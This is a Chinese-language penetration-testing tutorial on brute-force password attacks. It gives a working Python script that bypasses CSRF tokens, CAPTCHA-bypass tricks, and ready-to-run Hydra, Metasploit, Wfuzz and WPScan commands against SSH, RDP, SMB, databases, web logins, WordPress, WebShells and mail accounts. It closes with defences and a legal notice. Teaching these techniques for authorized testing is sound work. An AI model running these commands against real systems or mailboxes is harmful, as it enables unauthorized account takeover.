渗透测试之穷举篇
字数 2497 2025-08-12 11:34:21
渗透测试之穷举攻击技术详解
1. 穷举攻击概述
穷举攻击(Brute Force Attack)是一种通过系统性地尝试所有可能的组合来破解密码或密钥的攻击方法。在网络安全领域,穷举攻击主要针对各种服务的登录凭证进行尝试。
密码强度分类
- 弱口令:简单易猜的密码,如"123456"、"password"等
- 中度口令:有一定复杂度的密码,但可能包含个人信息
- 强度口令:复杂且随机的密码组合,难以猜测
2. 常见服务及端口
| 服务名称 | 端口号 |
|---|---|
| Web (HTTP) | 80 |
| MySQL | 3306 |
| Microsoft SQL Server | 1433 |
| HTTPS | 443 |
| FTP | 21 |
| SSH | 22 |
| DNS | 53 |
| Tomcat | 8080 |
| Redis | 6379 |
| Rsync | 873 |
| PostgreSQL | 5432 |
| CobaltStrike TeamServer | 50050 |
| SMTP | 25 |
| POP3 | 110 |
| RDP (远程桌面) | 3389 |
| SMB | 445 |
| RPC | 135 |
| IMAP | 143 |
| NetBIOS | 139 |
| SMTPS | 465 |
| POP3S | 995 |
| MongoDB | 27018 |
| Memcached | 11211 |
| Telnet | 23 |
| Oracle | 1521 |
3. Burp Suite穷举技术
3.1 基本穷举流程
- 配置浏览器代理(如FoxyProxy设置为127.0.0.1:8080)
- 拦截登录请求包
- 发送到Intruder模块
- 设置密码字段为变量
- 选择Payload字典
- 根据状态码(如302跳转)或响应长度判断成功
3.2 WebShell密码破解
- 拦截WebShell登录请求
- 发送到Intruder模块
- 设置密码字段为变量
- 使用字典攻击
- 根据响应特征判断正确密码
3.3 有Token防御的网站破解
3.3.1 使用Burp宏获取Token
- 刷新页面并拦截请求
- 在Project Options > Session中添加宏
- 选择包含Token的页面历史记录
- 配置规则提取Token值
- 设置自动更新Token进行穷举
3.3.2 编写Python脚本破解
import requests
import re
url = "http://xxx/login.php"
def login(password):
session = requests.session()
req = session.get(url)
user_token = re.search("[a-z0-9]{32}", req.text).group(0)
data = {
"username": "admin",
"password": password,
"Login": "Login",
'user_token': user_token
}
req = session.post(url=url, data=data, allow_redirects=True)
return req.text
with open('top1000.txt') as p:
passlist = p.readlines()
for line in passlist:
line = line.strip("\n")
if 'File Upload' in login(line):
print("[* 密码 is %s *]" % line)
break
3.4 有验证码的网站破解
3.4.1 Cookie不存在不验证绕过
- 删除PHPSESSID等会话信息
- 验证码可能不再验证
- 直接进行密码穷举
3.4.2 验证码未销毁复用
- 获取有效验证码
- 保持会话不刷新
- 重复使用同一验证码进行穷举
3.4.3 验证码识别穷举
- 使用OCR工具识别简单验证码
- 将识别结果作为参数提交
- 结合密码字典进行穷举
4. 专用工具穷举技术
4.1 Hydra使用详解
基本语法
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
常用参数
-R:继续上次进度-S:使用SSL连接-s:指定非默认端口-l:指定用户名-L:用户名字典-p:指定密码-P:密码字典-e:尝试空密码(n)或用户名作为密码(s)-C:使用"用户名:密码"格式文件-M:目标列表文件-o:结果输出文件-f:找到第一对凭证后停止-t:线程数(默认16)-w:超时时间(默认30秒)-v/-V:显示详细过程
服务穷举示例
SSH服务
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
FTP服务
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f
MySQL服务
hydra 192.168.1.104 mysql -l root -P password.txt -t 16 -vV
SMB服务
hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -v -f
HTTP表单
hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"
RDP服务
hydra 192.168.1.104 rdp -l administrator -P pass.txt -V
4.2 XHydra图形化工具
- 终端输入
xhydra启动 - 图形界面配置目标、协议、字典等参数
- 执行穷举攻击
4.3 Metasploit穷举模块
常用模块
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
使用示例
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.52.13
set PASS_FILE /home/kali/2019_top100.txt
set STOP_ON_SUCCESS true
set USERNAME root
run
4.4 Wfuzz多线程穷举
基本语法
wfuzz [options] -z payload,params
使用示例
wfuzz -c -z file,2019_top100.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
5. 特定服务穷举技术
5.1 WordPress密码穷举
- 注册WPScan获取API Token
- 枚举用户:
wpscan --url http://www.redteam.com/ -e u - 穷举密码:
wpscan --url http://www.redteam.com/ -e u -P /home/kali/top100password.txt --api-token YOUR_TOKEN - 手动获取用户信息:
http://www.vtmoon1.com/wp-json/wp/v2/users - 指定用户穷举:
wpscan --url http://www.vtmoon1.com -U moonsec -P /home/kali/top10
5.2 CobaltStrike TeamServer穷举
使用csbuster.py脚本:
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20
5.3 Apache Tomcat穷举
使用Metasploit模块:
use scanner/http/tomcat_mgr_login
set PASSWORD /path/to/passwords.txt
set RPORT 8081
set RHOSTS 192.168.52.6
exploit
5.4 邮箱密码穷举
常见邮箱端口
- 收邮件:POP3(110)、POP3S(995)
- 发邮件:SMTP(25)、SMTPS(465)
企业邮服
使用MailCracker工具进行破解
163/QQ等邮箱
配合社工信息进行有限次数的穷举
6. 防御措施
- 使用强密码策略(长度、复杂度)
- 实施账户锁定机制
- 使用多因素认证
- 限制登录尝试频率
- 使用验证码(需正确实现)
- 使用Token防御CSRF
- 监控异常登录行为
- 定期更换密码
- 禁用默认账户和弱密码
- 限制管理界面访问IP
7. 法律与道德声明
- 穷举攻击仅限授权测试使用
- 未经授权的攻击行为违法
- 测试前必须获得书面授权
- 遵守当地法律法规
- 尊重用户隐私和数据安全